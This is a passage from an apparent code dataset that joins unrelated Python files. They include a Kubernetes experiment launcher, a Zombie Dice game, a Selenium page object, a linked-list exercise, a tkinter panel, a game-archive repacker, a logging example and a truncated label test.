text)\n kubeConfig = yaml.load(text)\n\n # https://rancher.default.svc.cluster.local:80/r/projects/1a8238/kubernetes\n kubeConfig['clusters'][0]['cluster']['server'] = rancher_url\n kubeConfig['users'][0]['user']['username'] = self.access_key\n kubeConfig['users'][0]['user']['password'] = self.secret_key\n\n self.logger.info('Configuration set')\n\n with open(filepath + 'config', 'w') as f:\n yaml.dump(kubeConfig, f)\n\n def getDefinedParams(self, parametros_yml):\n \"\"\"\n Obtiene los parametros para un stack del catalogo.\n\n Devuelve los parametros en forma de dos listas: una con el nombre de\n los parametros y otra con los parametros en si.\n \"\"\"\n # FIXME: En vez de devolver una tupla devolver diccionario???\n parametros_nombre = []\n parametros = []\n self.logger.debug(parametros_yml)\n # Las distintas formas que se consideran son: parametroNombre->n\n # 1. [valorInicial:valorFinal:Salto] -> Lineal\n # 2. TODO: [valorInicial:valorFinal:Función] -> Otro tipo de funcion\n # 3. TODO: HIDDEN_SIZE debe aceptar parametros que no fueran absolute\n for parametro in parametros_yml:\n self.logger.info(parametro)\n self.logger.debug(type(parametro))\n parametros_nombre.append(parametro)\n # Obtiene el parametro HIDDEN_SIZE, que es especial\n if(parametro == 'HIDDEN_SIZE'):\n layers = [parametros_yml[parametro]['number_units'] for i in\n range(parametros_yml[parametro]['number_layers'][0])]\n combinations = []\n for combination in itertools.product(*layers):\n combination = ','.join(map(str, combination))\n combinations.append(combination)\n parametros.append(combinations)\n continue\n\n self.logger.info(\"LOS PARAMETROS RECIBIDOS EN GETDEFINEDPARAMS:\")\n self.logger.info(parametros_yml)\n\n opcion = parametros_yml[parametro]['type']\n # parametro[parametro.index(\"{\"):parametro.index(\"}\")]\n if(opcion == 'lineal'):\n valorInicial = parametros_yml[parametro]['initial-value']\n valorFinal = parametros_yml[parametro][\"final-value\"]\n valorSalto = parametros_yml[parametro][\"interval\"]\n opcionesParametro = numpy.arange(\n valorInicial, valorFinal, valorSalto)\n parametros.append(opcionesParametro.tolist())\n elif(opcion == 2):\n # opcionesParametro\n pass\n elif(opcion == \"absolute\"):\n parametros.append(parametros_yml[parametro][\"param\"])\n else:\n self.logger.critical('ERROR: FORMATO DE PARAMETROS INCORRECTO')\n raise SyntaxError('Parametros en el yml incorectos')\n\n parametros_nombre = parametros_nombre[::-1]\n parametros = parametros[::-1]\n self.logger.info('Obtenida la lista de posibles parametros')\n\n return (parametros_nombre, parametros)\n\n def addDefaultParams(self, parametros_nombre, parametros, catalog_name):\n \"\"\"\n Add default values to the params remaining.\n\n The func adds the defaults values in the parameters not specified in\n the parameter list given in the arguments.\n \"\"\"\n with open(\n self.MODULE_DIR + '/files/'\n + catalog_name + '/rancher-compose.yml',\n 'r') as f:\n fileContent = f.read()\n rancherComposeContent = yaml.load(fileContent)\n\n questions = rancherComposeContent['.catalog']['questions']\n\n for element in questions:\n if(element['variable'] in parametros_nombre\n or element['variable'] == 'NAMESPACE'\n or element['variable'] == 'ROOT_TOPIC'):\n continue\n else:\n parametros_nombre.append(element['variable'])\n listElem = list()\n listElem.append(element['default'])\n parametros.append(listElem)\n\n return (parametros_nombre, parametros)\n\n def save_grid_combinations(\n self, catalog_name, files, parametros, parametros_nombre):\n \"\"\"Store in the db the execution queue and the parameters.\"\"\"\n cont = 1\n for param in itertools.product(*parametros):\n # Substitucion de las variables en los ficheros\n # NOTE: Los nombres de los paramentros deben ser exactamente\n # los mismos que en los ficheros.\n # El namespace no admite mayusculas\n namespace = ''.join([catalog_name, 'model{num}'.format(num=cont)])\n namespace_document = {}\n namespace_document['files'] = []\n namespace_document['name'] = namespace\n namespace_document['experiment_group'] = catalog_name\n namespace_document['parameters'] = {}\n for index in range(len(parametros_nombre)):\n self.logger.info(\n parametros_nombre[index] + '=' +\n str(param[index]) + '\\n')\n namespace_document['parameters'][\n parametros_nombre[index]] = str(param[index])\n namespace_document['create_time'] = datetime.datetime.utcnow()\n for file_name in files:\n namespace_document['files'].append(file_name)\n self.logger.debug(namespace_document)\n id_experiment = self.db.save_document(\n namespace_document,\n coll_name='experiments').inserted_id\n self.db.push_document(\n doc_query={},\n key='queue',\n element=id_experiment,\n coll_name='queue')\n cont += 1\n # FIXME: Comprobar la forma de hacer esto\n\n def get_execution_queue(self):\n \"\"\"Return the execution queue in a list form.\"\"\"\n return self.db.get_document({}, 'queue')['queue']\n\n def get_running_list(self):\n \"\"\"Return the current running experiments in a list form.\"\"\"\n return self.db.get_document({}, 'running')['running']\n\n def create_namespace(self, namespace):\n \"\"\"Crea un namespace con el nombre dado.\"\"\"\n os.system(\n self.MODULE_DIR + '/exec/kubectl create namespace ' + namespace)\n self.namespaces_running += 1\n\n def rm_namespace(self, namespace, pid):\n \"\"\"Borra el namespace con el nombre dado y su contenido.\"\"\"\n self.killProcess(pid)\n # Llama a kafka para obtener los resultados\n self.getResults(namespace, 1)\n # Delete namespace content\n os.system(\n self.MODULE_DIR + '/exec/kubectl delete ' +\n '--all service,rc,ingress,pod --namespace=' +\n namespace +\n ' --now'\n )\n # Delete the namespace itself\n os.system(\n self.MODULE_DIR + '/exec/kubectl delete namespace ' + namespace)\n self.namespaces_running -= 1\n\n def start_service(self, namespace, serviceFile):\n \"\"\"Launch one service or rc from one file.\"\"\"\n self.logger.info(\n 'Lanzando servicio ' + serviceFile +\n ' en el namespace ' + namespace)\n os.system(self.MODULE_DIR + '/exec/kubectl --namespace=' + namespace +\n ' create -f ' + serviceFile)\n\n def startKafka(self, namespace):\n \"\"\"Start the kafka consumer process.\"\"\"\n pid = 0\n with open(self.MODULE_DIR + '/results/' + namespace, 'w') as file_results:\n kafkaConsumer = Popen(\n [self.MODULE_DIR + '/exec/kafka-console-consumer'],\n env={\"KAFKA_SERVICE\": \"kafka.default.svc.cluster.local\",\n \"TOPIC\": namespace+\"-metrics\",\n \"OFFSET\": \"oldest\",\n \"KAFKA_GROUP\": namespace},\n stdout=file_results,\n shell=True,\n preexec_fn=os.setsid)\n pid = kafkaConsumer.pid\n self.logger.info(pid)\n return pid\n\n def checkResults(self, namespace, pid):\n \"\"\"Check the results till it reaches accuracy 1.\"\"\"\n time_finish = time.time() + self.time_out\n last_time = time.time()\n start_time = time.time()\n while (time.time() <= time_finish):\n self.logger.debug('Está en le bucle de acceso a resultados')\n lastResults = self.getResults(namespace, 10)\n if(len(lastResults) == 0):\n time.sleep(10)\n continue\n if(lastResults[len(lastResults)-1]['accuracy'] == 1.0):\n self.logger.info('Resultados:')\n self.logger.info(lastResults)\n break\n time.sleep(10)\n last_time = time.time()\n\n self.db.pull_document(\n doc_query={}, key='running',\n element=namespace, coll_name='execution')\n self.rm_namespace(namespace, pid)\n self.logger.debug('Debería pasar por aquí para guardar los resultados')\n results = {\n 'time': last_time - start_time, 'last_results': lastResults}\n self.logger.info('Guardando resultados:')\n self.logger.info(results)\n self.db.update_document(\n doc_query={'name': namespace},\n doc_update=results,\n coll_name='experiments')\n\n def getResults(self, namespace, numberResults):\n \"\"\"Obtiene el numero de resultados especificadas como parametro.\"\"\"\n process1 = Popen(['cat', self.MODULE_DIR + '/results/'+namespace], stdout=PIPE)\n process2 = Popen(\n ['tail', '-'+str(numberResults)],\n stdin=process1.stdout,\n stdout=PIPE)\n (out, err) = process2.communicate()\n out = out.decode('UTF-8')\n self.logger.info(out)\n\n results = str(out).split('\\n')[:-1]\n self.logger.info(results)\n\n if(len(results) <= 1):\n return []\n\n prog = re.compile('[(\\d|\\.)+\\s]+')\n if(not (prog.match(results[len(results)-1]) and\n prog.match(results[0]))):\n self.logger.warning(\"Incorrect results format\")\n self.logger.warning(results[0])\n self.logger.warning(results[len(results)-1])\n return []\n\n results = list(map(methodcaller(\"split\"), results))\n\n if(len(results) <= 1):\n return []\n\n self.logger.info(results)\n resultsList = [{'cost': float(result[3]),\n 'accuracy': float(result[4])} for result in results]\n self.logger.info(resultsList)\n return resultsList\n\n # self.logger.info(\"Ejecutando cat directamente:\")\n # os.system('cat ./results/'+namespace+' | tail -'+str(numberResults))\n\n def killProcess(self, pid):\n \"\"\"Mata el proceso kafka creado por popen.\"\"\"\n os.killpg(os.getpgid(pid), signal.SIGTERM)\n\n# TODO: funcion que envie al monitor la orden de dejar de escuchar.\n# A esta funcion hay que llamarla desde el rm_namespace\n\n def stop_experiment(self, id):\n \"\"\"Stop one of the current experiments execution and start the next.\"\"\"\n # Llama a rm_namespace\n # Primero obtiene el nombre del namespace\n namespace = self.db.get_document(\n {\"_id\": ObjectId(id)}, \"experiments\")[\"name\"]\n self.rm_namespace(namespace)\n # Elimina de la lista de experimentos ejecutandose\n self.db.delete_document({\"id_experiment\": ObjectId(id)}, \"running\")\n self.execute_next(id)\n\n def execute_next(self, id):\n \"\"\"Launch the first experiment in the queue.\"\"\"\n # Primero lo saca de la cola de espera\n experiment = self.db.pop_document(\n {\"id_experiment\": ObjectId(id)}, \"queue\")\n if not experiment:\n return False\n # Luego lo guarda en la cola de ejecución\n self.db.push_document(\n {}, \"running\", experiment[\"id_experiment\"], \"running\")\n # Ejecuta el experimento nuevo\n self.launch_experiment(experiment[\"id_experiment\"])\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n # def launchExperiments(self, files, catalog_name, parametros, parametros_nombre):\n # \"\"\"\n # Lanza las combinaciones entre los parametros de entrada.\n #\n # Guarda cada combinacion de parametros como un documento en la misma\n # coleccion. No debe devolver nada. Gestiona la cola?\n # (Inicializa la cola?).\n # \"\"\"\n # cont = 1\n # threadsCheckResults = []\n # # Se guardan los parametros en el fichero answers.txt\n # for param in itertools.product(*parametros):\n # # Substitucion de las variables en los ficheros\n # # Check -> Los nombres de los paramentros deben ser exactamente\n # # los mismos que en los ficheros.\n # # El namespace no admite mayusculas\n # namespace = ''.join([catalog_name, 'model{num}'.format(num=cont)])\n # # param_record[namespace] = {}\n # namespace_document = {}\n # namespace_document['name'] = namespace\n # for file_name in files:\n # if(file_name != 'rancher-compose.yml'):\n # with open('./files/' + file_name, 'r') as f:\n # text = f.read()\n # for index in range(len(parametros_nombre)):\n # self.logger.info(\n # parametros_nombre[index] + '=' +\n # str(param[index]) + '\\n')\n # text = text.replace(\n # '${' + parametros_nombre[index] + '}',\n # str(param[index]))\n # namespace_document['parameters'][\n # parametros_nombre[index]] = param[index]\n # # Set by default the namespace\n # text = text.replace(\n # '${' + 'NAMESPACE' + '}',\n # namespace)\n # text = text.replace(\n # '${' + 'ROOT_TOPIC' + '}',\n # namespace)\n # with open('./files/launch/' + file_name, 'w') as f:\n # f.write(text)\n # self.db.save_document(namespace_document, coll_name='experiments')\n # while(self.namespaces_running >= self.namespaces_limit):\n # continue\n #\n # self.logger.info('Preparado para lanzar namespace ' + namespace)\n # # Llamadas a kubectl\n # # Se crea un namespace por cada combinacion\n # self.create_namespace(namespace)\n # # Por cada fichero en ./files, se lanza un start_service\n # # dentro de un namespace\n # for file in files:\n # if(file != 'rancher-compose.yml'):\n # self.start_service(namespace, './files/launch/' + file)\n #\n # pid = self.startKafka(namespace)\n #\n # threadsCheckResults.append(threading.Thread(\n # target=self.checkResults,\n # args=[namespace, pid]))\n # threadsCheckResults[cont-1].start()\n #\n # cont = cont + 1\n #\n # return namespace_document # FIXME: Return innecesario ahora\n\n\n\n\n\n # def main(self):\n # \"\"\"Main execution of the class.\"\"\"\n # print('COMIENZA PROCESO DE LANZAMIENTO EXPERIMENTOS')\n # entradas = requests.get(url=self.url_entradas, verify=False)\n # entradas = yaml.load(entradas.text)\n # self.logger.info('Obtenido el fichero de configuracion ' +\n # 'para los parametros')\n # self.logger.debug(entradas)\n # self.time_out = entradas[\"time_out\"]\n # self.namespaces_limit = entradas[\"limit_namespaces\"]\n #\n # self.prepareDirectories()\n # catalogs = [catalog for catalog in entradas[\"catalog_services\"]][::-1]\n # self.logger.info(catalogs)\n # param_record = {}\n #\n # for catalog in catalogs:\n # self.logger.info(catalog)\n # files, url, url_catalog = self.getConfiguration(\n # configuration=entradas[\"catalog_services\"][catalog])\n # self.configurateKubectl(rancher_url=url)\n # os.system(self.MODULE_DIR + '/exec/kubectl version')\n # parametros_nombre, parametros = self.getDefinedParams(\n # entradas[\"catalog_services\"][catalog]['PARAMS'])\n # parametros_nombre, parametros = self.addDefaultParams(\n # parametros_nombre, parametros)\n # param_record[catalog] = self.launchExperiments(\n # files=files,\n # catalog_name=catalog,\n # parametros=parametros,\n # parametros_nombre=parametros_nombre)\n # # self.db.save_document(param_record, coll_name='parameter_records')\n","sub_path":"service/webApp/launcherApp/lanzadorServicios.py","file_name":"lanzadorServicios.py","file_ext":"py","file_size_in_byte":25840,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"430286659","text":"# A Python interpretation of Steve Jackson's Zombie Dice\n# Rules for the game can be found at http://www.sjgames.com/dice/zombiedice/img/ZDRules_English.pdf\n# This script has been written such that the entire game is completely customisable.\n\nimport random\n\n# Number of players\nnum_players=2\n\n# The total number of turns in a game\nmax_turns=num_players * 500\n\n# The score required to win\nwinning_score=13\n\n# The total number of dice\nmax_dice=13\n\n# The maximum number of sides a die has\nmax_sides=6\n\n# Initialise the scores (assuming a two player game)\nscores = [0] * num_players\n\n# The number of dice selected each turn\ndice_per_turn = 3\n\n# Define the different basic dice types\n# The final element in the array is the die colour\nmaster_green_die = [\"brain\", \"runner\", \"shotgun\", \"brain\", \"brain\", \"runner\", \"green\"]\nmaster_yellow_die = [\"runner\", \"brain\", \"shotgun\", \"runner\", \"shotgun\", \"brain\", \"yellow\"]\nmaster_red_die = [\"shotgun\", \"runner\", \"brain\", \"shotgun\", \"shotgun\", \"runner\", \"red\"]\n\n# Define the dice that the game will use based on the maximum number of die sides\ngreen_die = []\nyellow_die = []\nred_die = []\nfor i in range(0, max_sides):\n green_die.append(master_green_die[i % (len(master_green_die) - 1)])\n yellow_die.append(master_yellow_die[i % (len(master_yellow_die) - 1)])\n red_die.append(master_red_die[i % (len(master_red_die) - 1)])\ngreen_die.append(\"green\")\nyellow_die.append(\"yellow\")\nred_die.append(\"red\")\n\n# Define the available dice in the game\n# Typically, six green dice, four yellow dice and three red dice\ndice=[green_die, green_die, green_die, green_die, green_die, green_die, yellow_die, yellow_die, yellow_die, yellow_die, red_die, red_die, red_die]\n\n# Ensure that the values selected for the game variables won't seriously break anything\nif dice_per_turn > max_dice:\n print (\"The number of dice selected per turn exceeds the total number of dice in the game (\", dice_per_turn, \">\", max_dice, \")\")\n raise SystemExit\n\nfor j in range(0, max_turns):\n print (\"SCORES\")\n for i in range(0, num_players):\n print (\"Player\", i+1, \":\", scores[i])\n print (\"Player \",(j%num_players)+1,\"'s turn...\")\n input (\"Press Enter to continue...\")\n \n brains = 0\n shotguns = 0\n\n # Dice selections are predetermined, but the players are unaware of this\n dice_selections = random.sample(range(0, max_dice), max_dice)\n\n # Select the dice to roll\n # The first time the dice being rolled are simply the first three selected\n dice_to_roll = []\n for dice_pulled in range(0, dice_per_turn):\n dice_to_roll.append(dice_selections[dice_pulled])\n\n roll_again = \"yes\"\n # While the player wants to keep rolling...\n while roll_again == \"yes\" or roll_again == \"y\":\n # Roll the three dice...\n print (\"You rolled: \")\n for i in range(0, dice_per_turn):\n roll = dice[dice_to_roll[i]][(random.randint(0, max_sides - 1))]\n print(dice[dice_to_roll[i]][max_sides], \" - \", roll)\n # If the player got a brain, add one to their brain total for this round and select another die\n # If the player got a shotgun, add one to their shotgun total for this round and select another die\n # If the player got a runner, do nothing and do not select another die\n if roll == \"brain\":\n brains+=1\n dice_to_roll[i] = dice_selections[dice_pulled]\n dice_pulled+=1\n elif roll == \"shotgun\":\n shotguns+=1\n dice_to_roll[i] = dice_selections[dice_pulled]\n dice_pulled+=1\n \n print (\"brains = \", brains, \"; shotguns = \", shotguns)\n # If the player has not rolled three shotguns, then ask them if they want to keep rolling\n if shotguns < 3:\n roll_again = input(\"Do you want to roll again?\")\n else:\n break\n \n # If the player has not rolled three shotguns, then add the number of brains they rolled to their total score\n if shotguns < 3:\n scores[j%num_players]+=brains\n # Check whether the player has enough brains to win\n if scores[j%num_players] >= winning_score:\n print (\"Player\", j%num_players+1, \"wins!\")\n raise SystemExit\n else:\n print (\"Your score is\", scores[j%num_players])\n else:\n print(\"Argh! You got shot!!!\")\n\n print (\"\")\n","sub_path":"zd.py","file_name":"zd.py","file_ext":"py","file_size_in_byte":4405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"275373629","text":"from tkinter import messagebox\n\nfrom selenium.webdriver import ActionChains\n\nfrom features.Locators.Locators import Locators\n\n\nclass ConfirmationPage():\n def __init__(self, driver):\n self.driver = driver\n\n self.Booking_summary_location_xpath = Locators.Booking_summary_location_xpath\n self.Booking_summary_pickup_xpath = Locators.Booking_summary_pickup_xpath\n self.Booking_summary_dropoff_xpath = Locators.Booking_summary_dropoff_xpath\n self.GPS_item_xpath = Locators.GPS_item_xpath\n self.Baby_seat_xpath = Locators.Baby_seat_xpath\n self.Booking_summary_item_price_xpath = Locators.Booking_summary_item_price_xpath\n self.Booking_summary_subtotal_xpath = Locators.Booking_summary_subtotal_xpath\n self.Booking_summary_total_amount_xpath = Locators.Booking_summary_total_amount_xpath\n\n def booking_summary_maintained(self, location, pickup, dropoff):\n pickup_location = self.driver.find_element_by_xpath(self.Booking_summary_location_xpath).text\n pickup_date = self.driver.find_element_by_xpath(self.Booking_summary_pickup_xpath).text\n drop_off_date = self.driver.find_element_by_xpath(self.Booking_summary_dropoff_xpath).text\n assert (pickup_location, pickup_date, drop_off_date) == (location, pickup, dropoff)\n\n def add_extra_item(self, driver):\n gps = self.driver.find_element_by_xpath(self.GPS_item_xpath)\n baby_seat = self.driver.find_element_by_xpath(self.Baby_seat_xpath)\n move = ActionChains(driver)\n move.click_and_hold(gps).move_by_offset(10, 0).release().perform()\n move.click_and_hold(baby_seat).move_by_offset(10, 0).release().perform()\n\n def adding_item_price(self):\n item = self.driver.find_element_by_xpath(self.Booking_summary_item_price_xpath).text\n subtotal = self.driver.find_element_by_xpath(self.Booking_summary_subtotal_xpath).text\n total = self.driver.find_element_by_xpath(self.Booking_summary_total_amount_xpath).text\n a = item.split(\"$\")\n item_price = a[1]\n b = subtotal.split(\"$\")\n subtotal_price = b[1]\n total_price = float(total)\n booking_total = int(item_price) + float(subtotal_price.replace(',', ''))\n assert total_price == booking_total\n","sub_path":"features/Pages/ConfirmationPage.py","file_name":"ConfirmationPage.py","file_ext":"py","file_size_in_byte":2276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"282238721","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2020/3/21 下午3:52\n# @Author : serendipity-xp\n# @FileName: two_add.py\n# @Software: PyCharm\n# @GitHub :https://github.com/serendipity-xp\n\n\n# Definition for singly-linked list.\nclass ListNode(object):\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\nclass Solution(object):\n def addTwoNumbers(self, l1, l2):\n \"\"\"\n :type l1: ListNode\n :type l2: ListNode\n :rtype: ListNode\n \"\"\"\n dummy_head = ListNode(0)\n cur_l1, cur_l2 = l1, l2\n cur_node = dummy_head\n carry = 0 # 表示进位\n while cur_l1 is not None or cur_l2 is not None:\n x = (cur_l1.val if cur_l1 else 0)\n y = (cur_l2.val if cur_l2 else 0)\n sum_val = x + y + carry\n carry = sum_val / 10\n cur_node.next = ListNode(sum_val % 10)\n cur_node = cur_node.next\n cur_l1 = (cur_l1.next if cur_l1 else None)\n cur_l2 = (cur_l2.next if cur_l2 else None)\n if carry > 0:\n cur_node.next = ListNode(carry)\n return dummy_head.next\n\n\nif __name__ == '__main__':\n l1 = ListNode(2)\n l1.next = ListNode(4)\n l1.next.next = ListNode(3)\n l2 = ListNode(5)\n l2.next = ListNode(6)\n l2.next.next = ListNode(4)\n Solution().addTwoNumbers(l1, l2)\n\n\n","sub_path":"library/two_add/two_add.py","file_name":"two_add.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"620823493","text":"from tkinter import StringVar, messagebox\nimport tkinter.font as tkFont\nimport tkinter as tk\n\nfrom ..config import *\nfrom ..TopLevelObject import *\n\n\nclass Account(TopLevelObject):\n def __init__(self, master):\n super().__init__(master)\n\n def Grid(self, **options):\n super().Grid(options)\n\n self.menuFrame = tk.Frame(self.frame)\n self.openOrders = tk.Button(self.menuFrame, text='Open Orders').grid(row=1, column=1, sticky='NWE')\n self.oderHistory = tk.Button(self.menuFrame, text='Order History').grid(row=1, column=2, sticky='NWE')\n self.tradeHistory = tk.Button(self.menuFrame, text='Trade History').grid(row=1, column=3, sticky='NWE')\n self.funds = tk.Button(self.menuFrame, text='Funds').grid(row=1, column=4, sticky='NWE')\n self.menuFrame.grid(row=1, column=1)\n\n for label in range(7):\n tk.Button(self.frame, text='Account button ' + str(label).zfill(2)).grid(row=label+2, column=1)\n \n\n def Pack(self, **options):\n super().Pack(options)\n\n #tk.Button(self.master, text='Header button1').pack(side='top')\n \n self.button1 = tk.Button(self.frame, text='Account button top')\n self.button1.pack(side='top')\n\n self.button2 = tk.Button(self.frame, text='Account button bottom')\n self.button2.pack(side='bottom')\n","sub_path":"GUI/Account/Account.py","file_name":"Account.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"36793622","text":"#encoding=utf-8\r\nimport os\r\nimport struct\r\n\r\ndef PackAFile(fname):\r\n fs=open(fname,'rb')\r\n stm=fs.read()\r\n fs.close()\r\n entry=bytearray()\r\n entry+=b'abimgdat10'.ljust(16,b'\\0')\r\n p=fname.rfind('\\\\')\r\n if p==-1:\r\n pn=fname.encode('932')\r\n else:\r\n pn=fname[p+1:].encode('932')\r\n entry+=struct.pack('H',len(pn))\r\n entry+=pn\r\n entry+=b'\\x03'\r\n entry+=struct.pack('I',len(stm))\r\n entry+=stm\r\n return entry\r\n\r\ndef GetOriHdr(fname):\r\n fs=open(fname,'rb')\r\n stm=fs.read(0x24)\r\n hdrlen,=struct.unpack('32xI',stm)\r\n hdrs=fs.read(hdrlen)\r\n return stm+hdrs\r\n\r\ndef WriteB(path1,oriname,newname):\r\n cnt=0\r\n nnames=[]\r\n for f in os.listdir(path1):\r\n nnames.append(f)\r\n cnt+=1\r\n hdr=GetOriHdr(oriname)\r\n fs=open(oriname,'rb')\r\n fs.seek(len(hdr))\r\n imgsect=fs.read(17)\r\n magic,cnnt=struct.unpack('<16sB',imgsect)\r\n if magic.strip(b'\\0')!=b'abimage10':\r\n print(magic)\r\n asdgawer\r\n if cnnt!=cnt:\r\n print('not match,count')\r\n afasef\r\n\r\n imgstm=bytearray(imgsect)\r\n for i in range(cnt):\r\n magic,namelen=struct.unpack('16sH',fs.read(18))\r\n na=fs.read(namelen)\r\n if magic.strip(b'\\0')==b'abimgdat13':\r\n hashlen,=struct.unpack('H',fs.read(2))\r\n hashc=fs.read(hashlen)\r\n na+=struct.pack('H',hashlen)+hashc\r\n na+=fs.read(13)\r\n elif magic.strip(b'\\0')==b'abimgdat11':\r\n awerfgasdf\r\n else:\r\n na+=fs.read(1)\r\n imgstm+=magic+struct.pack('H',namelen)+na\r\n\r\n olen,=struct.unpack('I',fs.read(4))\r\n fs.seek(olen,1)\r\n\r\n nstm=open(os.path.join(path1,nnames[i]),'rb').read()\r\n imgstm+=struct.pack('I',len(nstm))+nstm\r\n nfs=open(newname,'wb')\r\n nfs.write(hdr)\r\n nfs.write(imgstm)\r\n nfs.write(fs.read())\r\n nfs.close()\r\n fs.close()\r\n\r\nnewfolders='bfiles'\r\noribf='orib'\r\nnewbf='newb'\r\n\r\nfor f in os.listdir(oribf):\r\n WriteB(os.path.join(newfolders,f),\r\n os.path.join(oribf,f),\r\n os.path.join(newbf,f))\r\n\r\n##WriteB(r'D:\\chinesize\\zeas\\美少女万華鏡\\exp\\button_yes.b',\r\n## r'D:\\Program Files\\美少女万華鏡\\GameData\\da7\\library\\dialog\\button_yes.b',\r\n## r'nbutton_yes.b')\r\n","sub_path":"zeas/美少女万華鏡/packb.py","file_name":"packb.py","file_ext":"py","file_size_in_byte":2277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"557429877","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n'''\n@author: zhaogao\n@license: (C) Copyright 2013-2018.\n@contact: gaozhao89@qq.com\n@software: learn-py\n@file: len206_给简单脚本增加日志功能.py\n@time: 28/05/2018 10:07 AM\n'''\n\n# 你希望在脚本和程序中将诊断信息写入日志文件。\n# 打印日志最简单方式是使用logging���块\n\nimport logging, os\n\n\ndef main():\n # Configure the logging system\n # basicConfig() 在程序中只能被执行一次。如果你稍后想改变日志配置,就需要先获取 root logger ,然后直接修改它\n logging.basicConfig(\n filename=os.path.expanduser('~/PycharmProjects/learn-py/cook/data/len206/app.log'),\n # 如果你想改变输出等级,你可以修改 basicConfig() 调用中的参数\n # level=logging.ERROR\n # 如 果 你 想 要 你 的 日 志 消 息 写 到 标 准 错 误 中, 而 不 是 日 志 文 件 中, 调 用 basicConfig() 时不传文件名参数即可\n level=logging.WARNING,\n format='%(levelname)s:%(asctime)s:%(message)s'\n )\n\n # Variables (to make the calls that follow work)\n hostname = 'www.python.org'\n item = 'spam'\n filename = 'data.csv'\n mode = 'r'\n\n # Example logging calls (insert into your program)\n logging.critical('host %s unknown', hostname)\n logging.error(\"couldn't find %r\", item)\n logging.warning('feature is deprecated')\n logging.info('opening file %r, mode=%r', filename, mode)\n logging.debug('got here')\n\n\nif __name__ == '__main__':\n main()\n\n# 上面五个日志调用(critical(), error(), warning(), info(), debug())以降序方式表示 不同的严重级别。 basicConfig() 的 level 参数是一个过滤器。所有级别低于此级别 的日志消息都会被忽略掉。每个 logging 操作的参数是一个消息字符串,后面再跟一个 或多个参数。构造最终的日志消息的时候我们使用了% 操作符来格式化消息字符串\n","sub_path":"cook/len206_给简单脚本增加日志功能.py","file_name":"len206_给简单脚本增加日志功能.py","file_ext":"py","file_size_in_byte":1971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"33291966","text":"#!/usr/bin/env python\n# encoding: utf-8\n\n'''\nAuthor : 612957\nFile : 判断文件编码.py\nTime : 2019/9/28 16:41\nDesc : \n'''\n\nimport chardet\nfrom bs4 import BeautifulSoup\n\nif __name__ == '__main__':\n with open('hwar.html','r',encoding='utf-8')as fr:\n content = fr.read()\n print(content)\n\n response_analyze = BeautifulSoup(content, \"html5lib\")\n app_name = response_analyze.find_all(name=\"h4\", attrs={\"class\": \"title\"})\n for app in app_name:\n\n print(app.a.string)","sub_path":"pythoncode/判断文件编码.py","file_name":"判断文件编码.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"584481813","text":"import numpy as np\nimport match_projid_coreid as dutils\nimport compare_keywords_with_rcdc as dutils2 # for keywords\n\n\n###########################################################\n# how many articles are there in total\narticle_data = dutils.load_articles_json()\nnum_articles = len(article_data) # 231435\n\n# medline_id to abstracts #231435\narticle_med2abs = dutils.get_article_med2abstract()\n\n\n###########################################################\n# Dictionary of lists\n# Keys: coreid\n# Values: list of predictions\n# 20421 core ids\narticle_core2predictions = dutils.get_article_core2pred() \n\n# 205555 articles that matches with 20421 core ids. \n# count\ncount = 0\nfor key in article_core2predictions.keys():\n count += len(article_core2predictions[key])\n\nprint(count)\ntotnum_articles_in_predictions = count\n\n\n###########################################################\n# Number of articles that have links to grant core ids.\narticle_medid2core = dutils.get_article_medid2core()\nprint(len(article_medid2core)) #210890\ntotnum_medline_articles_coreid = len(article_medid2core)\n\n\n###########################################################\n# Number of articles in keywords file\n# id includes WOS ids and MEDLINE ids. \nid2keywords = dutils2.load_keywords_json()\nprint(len(id2keywords)) #3893154\ntotnum_articles = len(id2keywords)\n\n# Number of articles with keywords\nnum_articles_w_keywords =0 # 1972024\nfor k in id2keywords.keys():\n if len(id2keywords[k]['keywords']) > 1:\n num_articles_w_keywords += 1\n\n# Number of MEDLINE articles\n# Number of MEDLINE articles with keywords \nnum_medline_articles_w_keywords = 0 # 0\nmedline_ids = set()\nfor k in id2keywords.keys():\n if \"MEDLINE\" in k:\n medline_ids.add(k)\n if len(id2keywords[k]['keywords']) > 1:\n num_medline_articles_w_keywords += 1\n\ntotnum_medline_articles = len(medline_ids)\n# 232149\nprint('Number of MEDLINE articles: ' + totnum_medline_articles)\n\n# 0\nprint('Number of MEDLINE articles with keywords: ' + num_medline_articles_w_keywords)\n\n###########################################################\n# totnum_articles : number of articles \n\n\n","sub_path":"datascripts/article_stats.py","file_name":"article_stats.py","file_ext":"py","file_size_in_byte":2137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"3589250","text":"import unittest\nimport xml.dom\n\nfrom fs.path import basename\n\nfrom pdart.db.bundle_db import create_bundle_db_in_memory\nfrom pdart.db.fits_file_db import populate_database_from_fits_file\nfrom pdart.labels.lookup import DictLookup\nfrom pdart.labels.time_coordinates import get_start_stop_times, get_time_coordinates\nfrom pdart.labels.utils import path_to_testfile\nfrom pdart.xml.pretty import pretty_print\n\n\nclass TestTimeCoordinates(unittest.TestCase):\n def test_get_default_target(self) -> None:\n fits_product_lidvid = \"urn:nasa:pds:hst_13012:data_acs_raw:jbz504eoq_raw::2.3\"\n card_dicts = [\n {\"DATE-OBS\": \"2001-01-02\", \"TIME-OBS\": \"08:20:00\", \"EXPTIME\": \"1.0\"}\n ]\n nb = get_time_coordinates(\n 